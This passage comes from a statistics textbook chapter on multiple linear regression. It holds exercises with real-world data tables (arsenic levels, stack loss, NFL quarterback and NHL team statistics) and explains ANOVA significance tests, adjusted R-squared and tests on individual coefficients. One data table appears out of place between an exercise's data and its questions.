14.8	20	0.25
29.6	20	0.5
59.2	20	1
118.4	20	2
177.6	20	3
592	20	10
888	20	15
1184	20	20
22.2	30	0.25
44.4	30	0.5
88.8	30	1
177.6	30	2
266.4	30	3
888	30	10
1332	30	15
1776	30	20
29.6	40	0.25
59.2	40	0.5
118.4	40	1
236.8	40	2
355.2	40	3
1184	40	10
1776	40	15
2368	40	20

(a) Fit a multiple linear regression model to these data with rads as the response.
(b) Estimate σ^2 and the standard errors of the regression coefficients.
(c) Use the model to predict rads when the current is 15 milliamps and the exposure time is 5 seconds.

12-12. An article in *Cancer Epidemiology, Biomarkers and Prevention* (1996, Vol. 5, pp. 849–852) conducted a pilot study to assess the use of toenail arsenic concentrations as an indicator of ingestion of arsenic-containing water. Twenty-one participants were interviewed regarding use of their private (unregulated) wells for drinking and cooking, and each provided a sample of water and toenail clippings. The table below showed the data of age (years), sex of person (1 = male, 2 = female), proportion of times household well used for drinking ($1 \leq 1/4$, $2 = 1/4$, $3 = 1/2$, $4 = 3/4$, $5 \geq 3/4$), proportion of times household well used for cooking ($1 \leq 1/4$, $2 = 1/4$, $3 = 1/2$, $4 = 3/4$, $5 \geq 3/4$), arsenic in water (ppm), and arsenic in toenails (ppm) respectively.

Age	Sex	Drink Use	Cook Use	Arsenic Water	Arsenic Nails
44	2	5	5	0.00087	0.119
45	2	4	5	0.00021	0.118
44	1	5	5	0	0.099
66	2	3	5	0.00115	0.118
37	1	2	5	0	0.277
45	2	5	5	0	0.358
47	1	5	5	0.00013	0.08
38	2	4	5	0.00069	0.158
41	2	3	2	0.00039	0.31
49	2	4	5	0	0.105
72	2	5	5	0	0.073
45	2	1	5	0.046	0.832
53	1	5	5	0.0194	0.517
86	2	5	5	0.137	2.252
8	2	5	5	0.0214	0.851
32	2	5	5	0.0175	0.269
44	1	5	5	0.0764	0.433
63	2	5	5	0	0.141
42	1	5	5	0.0165	0.275
62	1	5	5	0.00012	0.135
36	1	5	5	0.0041	0.175

(a) Fit a multiple linear regression model using arsenic concentration in nails as the response and age, drink use, cook use, and arsenic in the water as the regressors.
(b) Estimate σ^2 and the standard errors of the regression coefficients.
(c) Use the model to predict the arsenic in nails when the age is 30, the drink use is category 5, the cook use is category 5, and arsenic in the water is 0.135 ppm.

12-13. In an article in *IEEE Transactions on Instrumentation and Measurement* (2001, Vol. 50, pp. 2033–2040) powdered mixtures of coal and limestone were analyzed for permittivity. The errors in the density measurement was the response.

Density	Dielectric Constant	Loss Factor
0.749	2.05	0.016
0.798	2.15	0.02
0.849	2.25	0.022
0.877	2.3	0.023
0.929	2.4	0.026
0.963	2.47	0.028
0.997	2.54	0.031
1.046	2.64	0.034
1.133	2.85	0.039
1.17	2.94	0.042
1.215	3.05	0.045

Table 12-6

TEMP	SOAKTIME	SOAKPCT	DIFFTIME	DIFFPCT	PITCH
1650	0.58	1.10	0.25	0.90	0.013
1650	0.66	1.10	0.33	0.90	0.016
1650	0.66	1.10	0.33	0.90	0.015
1650	0.66	1.10	0.33	0.95	0.016
1600	0.66	1.15	0.33	1.00	0.015
1600	0.66	1.15	0.33	1.00	0.016
1650	1.00	1.10	0.50	0.80	0.014
1650	1.17	1.10	0.58	0.80	0.021
1650	1.17	1.10	0.58	0.80	0.018
1650	1.17	1.10	0.58	0.80	0.019
1650	1.17	1.10	0.58	0.90	0.021
1650	1.17	1.10	0.58	0.90	0.019
1650	1.17	1.15	0.58	0.90	0.021
1650	1.20	1.15	1.10	0.80	0.025
1650	2.00	1.15	1.00	0.80	0.025
1650	2.00	1.10	1.10	0.80	0.026
1650	2.20	1.10	1.10	0.80	0.024
1650	2.20	1.10	1.10	0.80	0.025
1650	2.20	1.15	1.10	0.80	0.024
1650	2.20	1.10	1.10	0.90	0.025
1650	2.20	1.10	1.10	0.90	0.027
1650	2.20	1.10	1.50	0.90	0.026
1650	3.00	1.15	1.50	0.80	0.029
1650	3.00	1.10	1.50	0.70	0.030
1650	3.00	1.10	1.50	0.75	0.028
1650	3.00	1.15	1.66	0.85	0.032
1650	3.33	1.10	1.50	0.80	0.033
1700	4.00	1.10	1.50	0.70	0.039
1650	4.00	1.10	1.50	0.70	0.040
1650	4.00	1.15	1.50	0.85	0.035
1700	12.50	1.00	1.50	0.70	0.056
1700	18.50	1.00	1.50	0.70	0.068

(a) Fit a multiple linear regression model to these data with the density as the response.
(b) Estimate σ^2 and the standard errors of the regression coefficients.
(c) Use the model to predict the density when the dielectric constant is 2.5 and the loss factor is 0.03.

12-14. An article in *Biotechnology Progress* (2001, Vol. 17, pp. 366–368) reported on an experiment to investigate and optimize nisin extraction in aqueous two-phase systems (ATPS). The nisin recovery was the dependent variable (y). The two regressor variables were concentration (%) of PEG 4000 (denoted as x_1) and concentration (%) of Na_2SO_4 (denoted as x_2).

(a) Fit a multiple linear regression model to these data.
(b) Estimate σ^2 and the standard errors of the regression coefficients.

x_1	x_2	y
13	11	62.8739
15	11	76.1328
13	13	87.4667
15	13	102.3236
14	12	76.1872
14	12	77.5287
14	12	76.7824
14	12	77.4381
14	12	78.7417

(c) Use the model to predict the nisin recovery when $x_1 = 14.5$ and $x_2 = 12.5$.

12-15. An article in *Optical Engineering* ["Operating Curve Extraction of a Correlator's Filter" (2004, Vol. 43, pp. 2775–2779)] reported on use of an optical correlator to perform an experiment by varying brightness and contrast. The resulting modulation is characterized by the useful range of gray levels. The data are shown below:

Brightness (%):	54	61	65	100	100	100	50	57	54
Contrast (%):	56	80	70	50	65	80	25	35	26
Useful range (ng):	96	50	50	112	96	80	155	144	255

(a) Fit a multiple linear regression model to these data.
(b) Estimate σ^2.
(c) Compute the standard errors of the regression coefficients.
(d) Predict the useful range when brightness = 80 and contrast = 75.

12-16. An article in *Technometrics* (1974, Vol. 16, pp. 523–531) considered the following stack-loss data from a plant oxidizing ammonia to nitric acid. Twenty-one daily responses of stack loss y (the amount of ammonia escaping) were measured with air flow x_1, temperature x_2, and acid concentration x_3.

Stack loss y = 42, 37, 37, 28, 18, 18, 19, 20, 15, 14, 14, 13, 11, 12, 8, 7, 8, 8, 9, 15, 15
x_1 = 80, 80, 75, 62, 62, 62, 62, 62, 58, 58, 58, 58, 58, 58, 50, 50, 50, 50, 50, 56, 70
x_2 = 27, 27, 25, 24, 22, 23, 24, 24, 23, 18, 18, 17, 18, 19, 18, 18, 19, 19, 20, 20, 20
x_3 = 89, 88, 90, 87, 87, 87, 93, 93, 87, 80, 89, 88, 82, 93, 89, 86, 72, 79, 80, 82, 91

(a) Fit a linear regression model relating the results of the stack loss to the three regressor varilables.
(b) Estimate σ^2.
(c) Find the standard error $se(\hat{\beta}_j)$.
(d) Use the model in part (a) to predict stack loss when $x_1 = 60$, $x_2 = 26$, and $x_3 = 85$.

12-17. Table 12-7 presents quarterback ratings for the 2008 National Football League season (source: *The Sports Network*).
(a) Fit a multiple regression model to relate the quarterback rating to the percentage of completions, the percentage of TDs, and the percentage of interceptions.
(b) Estimate σ^2.
(c) What are the standard errors of the regression coefficients?
(d) Use the model to predict the rating when the percentage of completions is 60%, the percentage of TDs is 4%, and the percentage of interceptions is 3%.

12-18. Table 12-8 presents statistics for the National Hockey League teams from the 2008–2009 season (source: *The Sports Network*). Fit a multiple linear regression model that relates *Wins* to the variables *GF* through *FG*. Because teams play 82 games $W = 82 - L - T - OTL$, but such a model does not help build a better team. Estimate σ^2 and find the standard errors of the regression coefficients for your model.

12-19. A study was performed on wear of a bearing y and its relationship to x_1 = oil viscosity and x_2 = load. The following data were obtained.

y	x_1	x_2
293	1.6	851
230	15.5	816
172	22.0	1058
91	43.0	1201
113	33.0	1357
125	40.0	1115

(a) Fit a multiple linear regression model to these data.
(b) Estimate σ^2 and the standard errors of the regression coefficients.
(c) Use the model to predict wear when $x_1 = 25$ and $x_2 = 1000$.
(d) Fit a multiple linear regression model with an interaction term to these data.
(e) Estimate σ^2 and $se(\hat{\beta}_j)$ for this new model. How did these quantities change? Does this tell you anything about the value of adding the interaction term to the model?
(f) Use the model in (d) to predict when $x_1 = 25$ and $x_2 = 1000$. Compare this prediction with the predicted value from part (c) above.

12-20. Consider the linear regression model

$$Y_i = \beta_0' + \beta_1(x_{i1} - \bar{x}_1) + \beta_2(x_{i2} - \bar{x}_2) + \epsilon_i$$

where $\bar{x}_1 = \sum x_{i1}/n$ and $\bar{x}_2 = \sum x_{i2}/n$.
(a) Write out the least squares normal equations for this model.
(b) Verify that the least squares estimate of the intercept in this model is $\hat{\beta}_0' = \sum y_i/n = \bar{y}$.
(c) Suppose that we use $y_i - \bar{y}$ as the response variable in the model above. What effect will this have on the least squares estimate of the intercept?

Table 12-7 Quarterback Ratings for the 2008 National Football League Season

Player		Team	Att	Comp	Pct Comp	Yds	Yds per Att	TD	Pct TD	Lng	Int	Pct Int	Rating Pts
Philip	Rivers	SD	478	312	65.3	4,009	8.39	34	7.1	67	11	2.3	105.5
Chad	Pennington	MIA	476	321	67.4	3,653	7.67	19	4.0	80	7	1.5	97.4
Kurt	Warner	ARI	598	401	67.1	4,583	7.66	30	5.0	79	14	2.3	96.9
Drew	Brees	NO	635	413	65	5,069	7.98	34	5.4	84	17	2.7	96.2
Peyton	Manning	IND	555	371	66.8	4,002	7.21	27	4.9	75	12	2.2	95
Aaron	Rodgers	GB	536	341	63.6	4,038	7.53	28	5.2	71	13	2.4	93.8
Matt	Schaub	HOU	380	251	66.1	3,043	8.01	15	3.9	65	10	2.6	92.7
Tony	Romo	DAL	450	276	61.3	3,448	7.66	26	5.8	75	14	3.1	91.4
Jeff	Garcia	TB	376	244	64.9	2,712	7.21	12	3.2	71	6	1.6	90.2
Matt	Cassel	NE	516	327	63.4	3,693	7.16	21	4.1	76	11	2.1	89.4
Matt	Ryan	ATL	434	265	61.1	3,440	7.93	16	3.7	70	11	2.5	87.7
Shaun	Hill	SF	288	181	62.8	2,046	7.10	13	4.5	48	8	2.8	87.5
Seneca	Wallace	SEA	242	141	58.3	1,532	6.33	11	4.5	90	3	1.2	87
Eli	Manning	NYG	479	289	60.3	3,238	6.76	21	4.4	48	10	2.1	86.4
Donovan	McNabb	PHI	571	345	60.4	3,916	6.86	23	4.0	90	11	1.9	86.4
Jay	Cutler	DEN	616	384	62.3	4,526	7.35	25	4.1	93	18	2.9	86
Trent	Edwards	BUF	374	245	65.5	2,699	7.22	11	2.9	65	10	2.7	85.4
Jake	Delhomme	CAR	414	246	59.4	3,288	7.94	15	3.6	65	12	2.9	84.7
Jason	Campbell	WAS	506	315	62.3	3,245	6.41	13	2.6	67	6	1.2	84.3
David	Garrard	JAC	535	335	62.6	3,620	6.77	15	2.8	41	13	2.4	81.7
Brett	Favre	NYJ	522	343	65.7	3,472	6.65	22	4.2	56	22	4.2	81
Joe	Flacco	BAL	428	257	60	2,971	6.94	14	3.3	70	12	2.8	80.3
Kerry	Collins	TEN	415	242	58.3	2,676	6.45	12	2.9	56	7	1.7	80.2
Ben	Roethlisberger	PIT	469	281	59.9	3,301	7.04	17	3.6	65	15	3.2	80.1
Kyle	Orton	CHI	465	272	58.5	2,972	6.39	18	3.9	65	12	2.6	79.6
JaMarcus	Russell	OAK	368	198	53.8	2,423	6.58	13	3.5	84	8	2.2	77.1
Tyler	Thigpen	KC	420	230	54.8	2,608	6.21	18	4.3	75	12	2.9	76
Gus	Frerotte	MIN	301	178	59.1	2,157	7.17	12	4.0	99	15	5.0	73.7
Dan	Orlovsky	DET	255	143	56.1	1,616	6.34	8	3.1	96	8	3.1	72.6
Marc	Bulger	STL	440	251	57	2,720	6.18	11	2.5	80	13	3.0	71.4
Ryan	Fitzpatrick	CIN	372	221	59.4	1,905	5.12	8	2.2	79	9	2.4	70
Derek	Anderson	CLE	283	142	50.2	1,615	5.71	9	3.2	70	8	2.8	66.5

Att	Attempts (number of pass attempts)
Comp	Completed passes
Pct Comp	Percentage of completed passes
Yds	Yards gained passing
Yds per Att	Yards gained per pass attempt
TD	Number of touchdown passes
Pct TD	Percentage of attempts that are touchdowns
Long	Longest pass completion
Int	Number of interceptions
Pct Int	Percentage of attempts that are interceptions
Rating Pts	Rating points

Table 12-8 Team Statistics for the 2008–2009 National Hockey League Season

Team	W	L	OTL	PTS	GF	GA	ADV	PPGF	PCTG	PEN	BMI	AVG	SHT	PPGA	PKPCT	SHGF	SHGA	FG
Anaheim	42	33	7	91	238	235	309	73	23.6	1418	8	17.4	385	78	79.7	6	6	43
Atlanta	35	41	6	76	250	279	357	69	19.3	1244	12	15.3	366	88	76	13	9	39
Boston	53	19	10	116	270	190	313	74	23.6	1016	12	12.5	306	54	82.4	8	7	47
Buffalo	41	32	9	91	242	229	358	75	21	1105	16	13.7	336	61	81.8	7	4	44
Carolina	45	30	7	97	236	221	374	70	18.7	786	16	9.8	301	59	80.4	8	7	39
Columbus	41	31	10	92	220	223	322	41	12.7	1207	20	15	346	62	82.1	8	9	41
Calgary	46	30	6	98	251	246	358	61	17	1281	18	15.8	349	58	83.4	6	13	37
Chicago	46	24	12	104	260	209	363	70	19.3	1129	28	14.1	330	64	80.6	10	5	43
Colorado	32	45	5	69	190	253	318	50	15.7	1044	18	13	318	64	79.9	4	5	31
Dallas	36	35	11	83	224	251	351	54	15.4	1134	10	14	327	70	78.6	2	2	38
Detroit	51	21	10	112	289	240	353	90	25.5	810	14	10	327	71	78.3	6	4	46
Edmonton	38	35	9	85	228	244	354	60	17	1227	20	15.2	338	76	77.5	3	8	39
Florida	41	30	11	93	231	223	308	51	16.6	884	16	11	311	54	82.6	7	6	39
Los Angeles	34	37	11	79	202	226	360	69	19.2	1191	16	14.7	362	62	82.9	4	7	39
Minnesota	40	33	9	89	214	197	328	66	20.1	869	20	10.8	291	36	87.6	9	6	39
Montreal	41	30	11	93	242	240	374	72	19.2	1223	6	15	370	65	82.4	10	10	38
New Jersey	51	27	4	106	238	207	307	58	18.9	1038	20	12.9	324	65	79.9	12	3	44
Nashville	40	34	8	88	207	228	318	50	15.7	982	12	12.1	338	59	82.5	9	8	41
NI Islanders	26	47	9	61	198	274	320	54	16.9	1198	18	14.8	361	73	79.8	12	5	37
NY Rangers	43	30	9	95	200	212	346	48	13.9	1175	24	14.6	329	40	87.8	9	13	42
Ottawa	36	35	11	83	213	231	339	66	19.5	1084	14	13.4	346	64	81.5	8	5	46
Philadelphia	44	27	11	99	260	232	316	71	22.5	1408	26	17.5	393	67	83	16	1	43
Phoenix	36	39	7	79	205	249	344	50	14.5	1074	18	13.3	293	68	76.8	5	4	36
Pittsburgh	45	28	9	99	258	233	360	62	17.2	1106	8	13.6	347	60	82.7	7	11	46
San Jose	53	18	11	117	251	199	360	87	24.2	1037	16	12.8	306	51	83.3	12	10	46
St. Louis	41	31	10	92	227	227	351	72	20.5	1226	22	15.2	357	58	83.8	10	8	35
Tampa Bay	24	40	18	66	207	269	343	61	17.8	1280	26	15.9	405	89	78	4	8	34
Toronto	34	35	13	81	244	286	330	62	18.8	1113	12	13.7	308	78	74.7	6	7	40
Vancouver	45	27	10	100	243	213	357	67	18.8	1323	28	16.5	371	69	81.4	7	5	47
Washington	50	24	8	108	268	240	337	85	25.2	1021	20	12.7	387	75	80.6	7	9	45

W	Wins
L	Losses during regular time
OTL	Overtime losses
PTS	Points. Two points for winning a game, one point for a tie or losing in overtime, zero points for losing in regular time.
GF	Goals for
GA	Goals against
ADV	Total advantages. Power play opportunities.
PPGF	Power-play goals for. Goals scored while on power play.
PCTG	Power play percentage. Power-play goals divided by total advantages.
PEN	Total penalty minutes including bench minutes
BMI	Total bench minor minutes
AVG	Average penalty minutes per game
SHT	Total times short-handed. Measures opponent opportunities.
PPGA	Power-play goals against
PKPCT	Penalty killing percentage. Measures a team's ability to prevent goals while its opponent is on a power play. Opponent opportunities minus power play goals divided by opponent's opportunities.
SHGF	Short-handed goals for
SHGA	Short-handed goals against
FG	Games scored first

12-2 HYPOTHESIS TESTS IN MULTIPLE LINEAR REGRESSION

In multiple linear regression problems, certain tests of hypotheses about the model parameters are useful in measuring model adequacy. In this section, we describe several important hypothesis-testing procedures. As in the simple linear regression case, hypothesis testing requires that the error terms ϵ_i in the regression model are normally and independently distributed with mean zero and variance σ^2.

12-2.1 Test for Significance of Regression

The test for significance of regression is a test to determine whether a linear relationship exists between the response variable y and a subset of the regressor variables $x_1, x_2, \ldots, x_k$. The appropriate hypotheses are

Hypotheses for ANOVA Test

$$H_0: \beta_1 = \beta_2 = \cdots = \beta_k = 0$$
$$H_1: \beta_j \neq 0 \quad \text{for at least one } j \tag{12-18}$$

Rejection of $H_0: \beta_1 = \beta_2 = \cdots = \beta_k = 0$ implies that at least one of the regressor variables $x_1, x_2, \ldots, x_k$ contributes significantly to the model.

The test for significance of regression is a generalization of the procedure used in simple linear regression. The total sum of squares SS_T is partitioned into a sum of squares due to the model or to regression and a sum of squares due to error, say,

$$SS_T = SS_R + SS_E$$

Now if $H_0: \beta_1 = \beta_2 = \cdots = \beta_k = 0$ is true, SS_R/σ^2 is a chi-square random variable with k degrees of freedom. Note that the number of degrees of freedom for this chi-square random variable is equal to the number of regressor variables in the model. We can also show that the SS_E/σ^2 is a chi-square random variable with $n - p$ degrees of freedom, and that SS_E and SS_R are independent. The test statistic for $H_0: \beta_1 = \beta_2 = \cdots = \beta_k = 0$ is

Test Statistic for ANOVA

$$F_0 = \frac{SS_R/k}{SS_E/(n-p)} = \frac{MS_R}{MS_E} \tag{12-19}$$

We should reject H_0 if the computed value of the test statistic in Equation 12-19, f_0, is greater than $f_{\alpha,k,n-p}$. The procedure is usually summarized in an analysis of variance table such as Table 12-9.

A computational formula for SS_R may be found easily. Now since $SS_T = \sum_{i=1}^{n} y_i^2 - (\sum_{i=1}^{n} y_i)^2/n = \mathbf{y}'\mathbf{y} - (\sum_{i=1}^{n} y_i)^2/n$, we may rewrite Equation 12-19 as

$$SS_E = \mathbf{y}'\mathbf{y} - \frac{\left(\sum_{i=1}^{n} y_i\right)^2}{n} - \left[\hat{\boldsymbol{\beta}}'\mathbf{X}'\mathbf{y} - \frac{\left(\sum_{i=1}^{n} y_i\right)^2}{n}\right]$$

Table 12-9 Analysis of Variance for Testing Significance of Regression in Multiple Regression

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	F_0
Regression	SS_R	k	MS_R	MS_R/MS_E
Error or residual	SS_E	$n - p$	MS_E	
Total	SS_T	$n - 1$		

or

$$SS_E = SS_T - SS_R$$

Therefore, the regression sum of squares is

$$SS_R = \hat{\boldsymbol{\beta}}'\mathbf{X}'\mathbf{y} - \frac{\left(\sum_{i=1}^{n} y_i\right)^2}{n} \tag{12-21}$$

EXAMPLE 12-3 Wire Bond Strength ANOVA

We will test for significance of regression (with $\alpha = 0.05$) using the wire bond pull strength data from Example 12-1. The total sum of squares is

$$SS_T = \mathbf{y}'\mathbf{y} - \frac{\left(\sum_{i=1}^{n} y_i\right)^2}{n} = 27{,}178.5316 - \frac{(725.82)^2}{25}$$
$$= 6105.9447$$

The regression or model sum of squares is computed from Equation 12-20 as follows:

$$SS_R = \hat{\boldsymbol{\beta}}'\mathbf{X}'\mathbf{y} - \frac{\left(\sum_{i=1}^{n} y_i\right)^2}{n} = 27{,}063.3581 - \frac{(725.82)^2}{25}$$
$$= 5990.7712$$

and by subtraction

$$SS_E = SS_T - SS_R = \mathbf{y}'\mathbf{y} - \hat{\boldsymbol{\beta}}'\mathbf{X}'\mathbf{y} = 115.1716$$

The analysis of variance is shown in Table 12-10. To test H_0: $\beta_1 = \beta_2 = 0$, we calculate the statistic

$$f_0 = \frac{MS_R}{MS_E} = \frac{2995.3856}{5.2352} = 572.17$$

Since $f_0 > f_{0.05,2,22} = 3.44$ (or since the P-value is considerably smaller than $\alpha = 0.05$), we reject the null hypothesis and conclude that pull strength is linearly related to either wire length or die height, or both.

Practical Interpretation: Rejection of H_0 does not necessarily imply that the relationship found is an appropriate model for predicting pull strength as a function of wire length and die height. Further tests of model adequacy are required before we can be comfortable using this model in practice.

Most multiple regression computer programs provide the test for significance of regression in their output display. The middle portion of Table 12-4 is the Minitab output for this example. Compare Tables 12-4 and 12-10 and note their equivalence apart from rounding. The P-value is rounded to zero in the computer output.

Table 12-10 Test for Significance of Regression for Example 12-3

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-value
Regression	5990.7712	2	2995.3856	572.17	1.08E-19
Error or residual	115.1735	22	5.2352		
Total	6105.9447	24			

R^2 and Adjusted R^2

We may also use the **coefficient of multiple determination** R^2 as a global statistic to assess the fit of the model. Computationally,

$$R^2 = \frac{SS_R}{SS_T} = 1 - \frac{SS_E}{SS_T} \tag{12-22}$$

For the wire bond pull strength data, we find that $R^2 = SS_R/SS_T = 5990.7712/6105.9447 = 0.9811$. Thus the model accounts for about 98% of the variability in the pull strength response (refer to the Minitab output in Table 12-4). The R^2 statistic is somewhat problematic as a measure of the quality of the fit for a multiple regression model because it never decreases when a variable is added to a model.

To illustrate, consider the model fit to the wire bond pull strength data in Example 11-8. This was a simple linear regression model with $x_1 =$ wire length as the regressor. The value of R^2 for this model is $R^2 = 0.9640$. Therefore, adding $x_2 =$ die height to the model increases R^2 by $0.9811 - 0.9640 = 0.0171$, a very small amount. Since R^2 can never decrease when a regressor is added, it can be difficult to judge whether the increase is telling us anything useful about the new regressor. It is particularly hard to interpret a small increase, such as observed in the pull strength data.

Many regression users prefer to use an **adjusted** R^2 statistic:

Adjusted R^2

$$R^2_{\text{adj}} = 1 - \frac{SS_E/(n-p)}{SS_T/(n-1)} \tag{12-23}$$

Because $SS_E/(n-p)$ is the error or residual mean square and $SS_T/(n-1)$ is a constant, R^2_{adj} will only increase when a variable is added to the model if the new variable reduces the error mean square. Note that for the multiple regression model for the pull strength data $R^2_{\text{adj}} = 0.979$ (see the Minitab output in Table 12-4), whereas in Example 11-8 the adjusted R^2 for the one-variable model is $R^2_{\text{adj}} = 0.962$. Therefore, we would conclude that adding $x_2 =$ die height to the model does result in a meaningful reduction in unexplained variability in the response.

The **adjusted** R^2 statistic essentially penalizes the analyst for adding terms to the model. It is an easy way to guard against **overfitting,** that is, including regressors that are not really useful. Consequently, it is very useful in comparing and evaluating competing regression models. We will use R^2_{adj} for this when we discuss **variable selection** in regression in Section 12-6.3.

12-2.2 Tests on Individual Regression Coefficients and Subsets of Coefficients

We are frequently interested in testing hypotheses on the individual regression coefficients. Such tests would be useful in determining the potential value of each of the regressor variables in the regression model. For example, the model might be more effective with the inclusion of additional variables or perhaps with the deletion of one or more of the regressors presently in the model.

The hypothesis to test if an individual regression coefficient, say β_j equals a value β_{j0} is

$$H_0: \beta_j = \beta_{j0}$$
$$H_1: \beta_j \neq \beta_{j0} \tag{12-24}$$

The test statistic for this hypothesis is

$$T_0 = \frac{\hat{\beta}_j - \beta_{j0}}{\sqrt{\sigma^2 C_{jj}}} = \frac{\hat{\beta}_j - \beta_{j0}}{se(\hat{\beta}_j)} \tag{12-25}$$

where C_{jj} is the diagonal element of $(\mathbf{X}'\mathbf{X})^{-1}$ corresponding to $\hat{\beta}_j$. Notice that the denominator of Equation 12-24 is the standard error of the regression coefficient $\hat{\beta}_j$. The null hypothesis H_0: $\beta_j = \beta_{j0}$ is rejected if $|t_0| > t_{\alpha/2,n-p}$. This is called a **partial** or **marginal test** because the regression coefficient $\hat{\beta}_j$ depends on all the other regressor variables $x_i (i \neq j)$ that are in the model. More will be said about this in the following example.

An important special case of the previous hypothesis occurs for $\beta_{j0} = 0$. If H_0: $\beta_j = 0$ is not rejected, this indicates that the regressor x_j can be deleted from the model. Adding a variable to a regression model always causes the sum of squares for regression to increase and the error sum of squares to decrease (this is why R^2 always increases when a variable is added). We must decide whether the increase in the regression sum of squares is large enough to justify using the additional variable in the model. Furthermore, adding an unimportant variable to the model can actually increase the error mean square, indicating that adding such a variable has actually made the model a poorer fit to the data (this is why R^2_{adj} is a better measure of global model fit then the ordinary R^2).

EXAMPLE 12-4 **Wire Bond Strength Coefficient Test**

Consider the wire bond pull strength data, and suppose that we want to test the hypothesis that the regression coefficient for x_2 (die height) is zero. The hypotheses are

$$H_0: \beta_2 = 0$$
$$H_1: \beta_2 \neq 0$$

The main diagonal element of the $(\mathbf{X}'\mathbf{X})^{-1}$ matrix corresponding to $\hat{\beta}_2$ is $C_{22} = 0.0000015$, so the t-statistic in Equation 12-25 is

$$t_0 = \frac{\hat{\beta}_2}{\sqrt{\hat{\sigma}^2 C_{22}}} = \frac{0.01253}{\sqrt{(5.2352)(0.0000015)}} = 4.477$$

Note that we have used the estimate of σ^2 reported to four decimal places in Table 12-10. Since $t_{0.025,22} = 2.074$, we reject H_0: $\beta_2 = 0$ and conclude that the variable x_2 (die height) contributes significantly to the model. We could also have used a P-value to draw conclusions. The P-value for $t_0 = 4.477$ is $P = 0.0002$, so with $\alpha = 0.05$ we would reject the null hypothesis.

Practical Interpretation: Note that this test measures the marginal or partial contribution of x_2 given that x_1 is in the model. That is, the t-test measures the contribution of adding the variable x_2 = die height to a model that already contains x_1 = wire length. Table 12-4 shows the value of the t-test computed by Minitab. The Minitab t-test statistic is reported to two decimal places. Note that the computer produces a t-test for each regression coefficient in the model. These t-tests indicate that both regressors contribute to the model.

EXAMPLE 12-5 Wire Bond Strength One-Sided Coefficient Test

There is an interest in the effect of die height on strength. This can be evaluated by the magnitude of the coefficient for die height. To conclude that the coefficient for die height exceeds 0.01 the hypotheses become

$$H_0: \beta_2 = 0.01 \quad H_1: \beta_2 > 0.01$$

For such a test, computer software can complete much of the hard work. We only need to assemble the pieces. From the Minitab output in Table 12-4, $\hat{\beta}_2 = 0.012528$ and the standard error of $\hat{\beta}_2 = 0.002798$. Therefore the t-statistic is

$$t_0 = \frac{0.012528 - 0.01}{0.002798} = 0.9035$$

with 22 degrees of freedom (error degrees of freedom). From Table IV in Appendix A, $t_{0.25,\,22} = 0.686$ and $t_{0.1,\,22} = 1.321$. Therefore, the P-value can be bounded as $0.1 < P\text{-value} < 0.25$. One cannot conclude that the coefficient exceeds 0.01 at common levels of significance.

There is another way to test the contribution of an individual regressor variable to the model. This approach determines the increase in the regression sum of squares obtained by adding a variable x_j (say) to the model, given that other variables $x_i (i \neq j)$ are already included in the regression equation.

The procedure used to do this is called the **general regression significance test**, or the **extra sum of squares method.** This procedure can also be used to investigate the contribution of a *subset* of the regressor variables to the model. Consider the regression model with k regressor variables

$$\mathbf{y} = \mathbf{X}\boldsymbol{\beta} + \boldsymbol{\epsilon} \tag{12-26}$$

where $\mathbf{y}$ is $(n \times 1)$, $\mathbf{X}$ is $(n \times p)$, $\boldsymbol{\beta}$ is $(p \times 1)$, $\boldsymbol{\epsilon}$ is $(n \times 1)$, and $p = k + 1$. We would like to determine if the subset of regressor variables $x_1, x_2, \ldots, x_r$ $(r < k)$ as a whole contributes significantly to the regression model. Let the vector of regression coefficients be partitioned as follows:

$$\boldsymbol{\beta} = \begin{bmatrix} \boldsymbol{\beta}_1 \\ \boldsymbol{\beta}_2 \end{bmatrix} \tag{12-27}$$

where $\boldsymbol{\beta}_1$ is $(r \times 1)$ and $\boldsymbol{\beta}_2$ is $[(p - r) \times 1]$. We wish to test the hypotheses

Hypotheses for General Regression Test

$$H_0: \boldsymbol{\beta}_1 = \mathbf{0}$$
$$H_1: \boldsymbol{\beta}_1 \neq \mathbf{0} \tag{12-28}$$

where $\mathbf{0}$ denotes a vector of zeroes. The model may be written as

$$\mathbf{y} = \mathbf{X}\boldsymbol{\beta} + \boldsymbol{\epsilon} = \mathbf{X}_1\boldsymbol{\beta}_1 + \mathbf{X}_2\boldsymbol{\beta}_2 + \boldsymbol{\epsilon} \tag{12-29}$$

where $\mathbf{X}_1$ represents the columns of $\mathbf{X}$ associated with $\boldsymbol{\beta}_1$ and $\mathbf{X}_2$ represents the columns of $\mathbf{X}$ associated with $\boldsymbol{\beta}_2$.

For the **full model** (including both $\boldsymbol{\beta}_1$ and $\boldsymbol{\beta}_2$), we know that $\hat{\boldsymbol{\beta}} = (\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{y}$. In addition, the regression sum of squares for all variables including the intercept is

$$SS_R(\boldsymbol{\beta}) = \hat{\boldsymbol{\beta}}'\mathbf{X}'\mathbf{y} \qquad (p = k + 1 \text{ degrees of freedom})$$

and

$$MS_E = \frac{\mathbf{y}'\mathbf{y} - \hat{\boldsymbol{\beta}}\mathbf{X}'\mathbf{y}}{n - p}$$

$SS_R(\boldsymbol{\beta})$ is called the regression sum of squares due to $\boldsymbol{\beta}$. To find the contribution of the terms in $\boldsymbol{\beta}_1$ to the regression, fit the model assuming the null hypothesis H_0: $\boldsymbol{\beta}_1 = \mathbf{0}$ to be true. The **reduced model** is found from Equation 12-29 as

$$\mathbf{y} = \mathbf{X}_2\boldsymbol{\beta}_2 + \boldsymbol{\epsilon} \tag{12-30}$$

The least squares estimate of $\boldsymbol{\beta}_2$ is $\hat{\boldsymbol{\beta}}_2 = (\mathbf{X}_2'\mathbf{X}_2)^{-1}\mathbf{X}_2'\mathbf{y}$, and

$$SS_R(\boldsymbol{\beta}_2) = \hat{\boldsymbol{\beta}}_2'\mathbf{X}_2'\mathbf{y} \qquad (p - r \text{ degrees of freedom}) \tag{12-31}$$

The regression sum of squares due to $\boldsymbol{\beta}_1$ given that $\boldsymbol{\beta}_2$ is already in the model is

$$SS_R(\boldsymbol{\beta}_1|\boldsymbol{\beta}_2) = SS_R(\boldsymbol{\beta}) - SS_R(\boldsymbol{\beta}_2) \tag{12-32}$$

